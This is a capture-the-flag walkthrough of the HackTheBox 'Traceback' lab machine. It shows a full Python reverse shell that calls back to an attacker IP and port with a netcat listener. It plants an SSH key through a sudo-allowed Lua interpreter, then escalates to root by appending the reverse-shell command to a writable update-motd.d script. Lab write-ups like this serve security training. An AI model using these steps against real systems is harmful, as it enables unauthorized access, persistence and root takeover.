HackTheBox - Traceback

— Written by — 8 min read
traceback-hackthebox

Traceback just retired on Hackthebox, it’s an easy difficulty Linux box. This one is quite straightforward box if you are familiar with CTF. It exploit a similar misconfiguration we saw previously in the Writeup Box. I wouldn’t recommend it for total beginner since the frequent reset resulting in lot of users working on it, and exploit conflicts can be frustrating to progress on.

Tl;Dr: The user flag consist in retrieving and exploiting a web-shell planted by a hacker on the web-server of the machine. From there you pivot from webadmin to sysadmin using a Lua interpreter running as the said user.
The root flag could be grabbed by exploiting a misconfiguration of /etc/update-motd.d/ folder permissions allowing the user to edit scripts run as root by run-parts at login time.

Alright! Let’s get into the details now!

First thing first, let’s add the box IP to the host file:

1
[hg8@archbook ~]$ echo "10.10.10.181 traceback.htb" >> /etc/hosts

and let’s start!

User flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ nmap -sV -sT -sC traceback.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-21 21:11 CET
Nmap scan report for traceback.htb (10.10.10.181)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have the “classic”: A web app running on port 80 and the SSH port 22 open.

Opening http://traceback.htb/ display the following website:

traceback owned

From what we can see here the website seems to have been hacked. The malicious actor indicate he/she left a backdoor open.

That’s a nice hint… If we can find this backdoor we can use it without needing to find the exploit by ourselves.
With that in mind let’s try to find more informations.

When we check the code source of the page we notice an interesting comment:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
</head>
<body>
        <center>
                <h1>This site has been owned</h1>
                <h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
                <h3> - Xh4H - </h3>
                <!--Some of the best web shells that you might need ;)-->
        </center>
</body>
</html>

Googling Some of the best web shells that you might need return a Github repository with the exact same text as description full of webshell. Our hacker used one of those for sure.

From here we could write a little script that get the shells list on the git repository and to test each shell in the url to find which one if is present on the server but…. since there is only 15 let’s just copy paste by hand ;)

We got on the right idea, opening http://traceback.htb/smevk.php display this login page:

smevk shell login page

Smevk Webshell

Checking the shell source code on the previous Github repository informs us that the defaults credentials are admin:admin. Let’s try:

smevk shell

Let’s try not to focus too much on the design here.

The shell allow include a command injection tool, but it’s far from being practical. The easiest way to progress from here is to open a reverse shell using the web shell. We can use for example a Python one:

  1. Creating and dropping the Python reverse shell:
1
2
3
4
5
6
7
8
[hg8@archbook ~]$ cat hg8.py
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.10",8585));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
1
2
[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Once we have created our reverse shell we can use the Web Shell to upload it to the server:

sending python reverse shell

  1. We then start our listener:
1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
  1. And finally launch our reverse shell using the Web Shell:

python reverse shell

And we get our connection:

1
2
3
4
5
6
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.181:58642
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)

We now have a shell as webadmin user. Let’s now do a bit of recon on this user files available on the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
webadmin@traceback:/$ ls -l /home/
total 8
drwxr-x--- 5 sysadmin sysadmin 4096 Mar 22 07:26 sysadmin
drwxr-x--- 5 webadmin sysadmin 4096 Mar 16 04:03 webadmin

webadmin@traceback:/$ ls /home/webadmin
note.txt

webadmin@traceback:/$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

Alright we have a little more information here. We will need to pivot to sysadmin user and this one gave left a note leading to a tool about practice Lua.

Pivot webadmin -> sysadmin

Since we don’t know where is the tool to practice Lua that sysadmin talk about let’s continue our classic recon process for the moment.

When checking for informations on sudo we stumble upon an interesting NOPASSWD entry: 

1
2
3
4
5
6
webadmin@traceback:/$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

We can run the following command /home/sysadmin/luvit as sysadmin without having to use password.

Let’s open this luveit to see what is it about:

1
2
3
webadmin@traceback:/$ sudo -u sysadmin /home/sysadmin/luvit
Welcome to the Luvit repl!
>

According to Luvit.io website:

Luvit implements the same APIs as Node.js, but in Lua!
This helps teams migrate without having to learn a new way of programming.

So if I understand correctly it’s a Lua interpreter including the same APIs as Node.js.

Since it’s able to run Lua and Node.js as sysadmin it very possible we have write abilities on sysadmin home folder. And we know that arbitrary file write definitely lead to privilege escalation.

A common approach to privilege escalation using file write is to add our public SSH key to the ~/.ssh/authorized_keys file.

In Lua this would give something like this:

1
2
3
file = io.open("/home/sysadmin/.ssh/authorized_keys", "a")
file:write("ssh-rsa AAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXLmWQ== [email protected]")
file:close()

Note: Don’t forget to open the authorized_keys file in append mode (a) to not overwrite the actual config or the keys of other players that potentially used the same trick.

Let’s run it to check if it works as intended:

1
2
webadmin@traceback:/$ sudo -u sysadmin /home/sysadmin/luvit /tmp/hg8.lua
webadmin@traceback:/$

No error, let’s now try to login to sysadmin account using the SSH key we just authorized:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[hg8@archbook ~]$ ssh -i id_rsa [email protected]
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land

Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
sysadmin@traceback:~$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
sysadmin@traceback:~$ ls
luvit  user.txt
sysadmin@traceback:~$ cat user.txt
3xxxxxxxxxxxxxxxxxxxxxxxb

Root Flag

Recon

The first thing we notice when login to sysadmin account is that our hacker didn’t only drop a webshell on the server but also modified a few files. For example this custom message on login time:

#################################
——– OWNED BY XH4H ———
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land

Let’s search on the system for xh4h to see if our hacker dropped some interesting other files:

1
2
3
4
sysadmin@traceback:~$ grep -ri "xh4h" / 2>/dev/null
/etc/update-motd.d/00-header:echo "\nWelcome to Xh4H land \n"
/var/www/html/index.html:               <h3> - Xh4H - </h3>
/var/backups/.update-motd.d/00-header:echo "\nWelcome to Xh4H land \n"

Seems like nothing else to see.

Let’s focus on this 00-header in update-motd.d folder. For those who are unfamiliar with motd here is a reminder of what it does:

The contents of /etc/motd are displayed by pam_motd(8) after a successful login but just before it executes the login shell.

The abbreviation “motd” stands for “message of the day”, and this file has been traditionally used for exactly that (it requires much less disk space than mail to all users).

Let’s see what we have on this server update-motd.d:

1
2
3
4
5
6
7
sysadmin@traceback:/etc/update-motd.d$ ls -l
total 24
-rwxrwxr-x 1 root sysadmin  981 Mar 22 09:37 00-header
-rwxrwxr-x 1 root sysadmin  982 Mar 22 09:37 10-help-text
-rwxrwxr-x 1 root sysadmin 4264 Mar 22 09:37 50-motd-news
-rwxrwxr-x 1 root sysadmin  604 Mar 22 09:37 80-esm
-rwxrwxr-x 1 root sysadmin  299 Mar 22 09:37 91-release-upgrade

First thing that catch the eye here is that all those file belong to sysadmin group, meaning we, as sysadmin user can read, write and execute them even though we are not the owner.

Alright, now how are those files executed to end up being displayed at login time ?

If you are familiar with Debian you may know about the run-parts utility:

run-parts - run scripts or programs in a directory

run-parts will run all the scripts in a given directory. It’s very useful in a lot of scenarios. For example it’s used in Debian to dynamically generate a Message Of Day (MOTD) by combining all the output of scripts present in /etc/update-motd.d/ folder, like so:

1
$ run-parts /etc/update-motd.d/*

And this is done at login time as root.

See what’s the issue is here ? We are able to edit file that are going to be run as root.

Let’s now use this knowledge to escalate our privileges to root.

Exploiting run-parts and motd

To exploit this misconfiguration we could have used the same trick as before to add our SSH key to root user .authorized_keys file. But let’s change a bit and open a reverse shell this time.

First, we open our netcat listener:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585

Then let’s edit, for example, 00-header to add a command to open our reverse shell:

1
sysadmin@traceback:/etc/update-motd.d$ echo "python /tmp/.tmp/hg8.py" >> 00-header

Now next time we login, our reverse shell will be executed as root. Let’s give it a try by logout of SSH and login in again:

1
2
3
4
5
6
7
[hg8@archbook ~]$ ssh -i id_rsa [email protected]
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land

At this moment, our connection as root open:

1
2
3
4
5
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.181:60494
# cat /root/root.txt
4xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx9

As always do not hesitate to contact me for any questions or feedbacks :)

See you next time !

-hg8



CTF › HackTheBox › Easy Box
, , , , , ,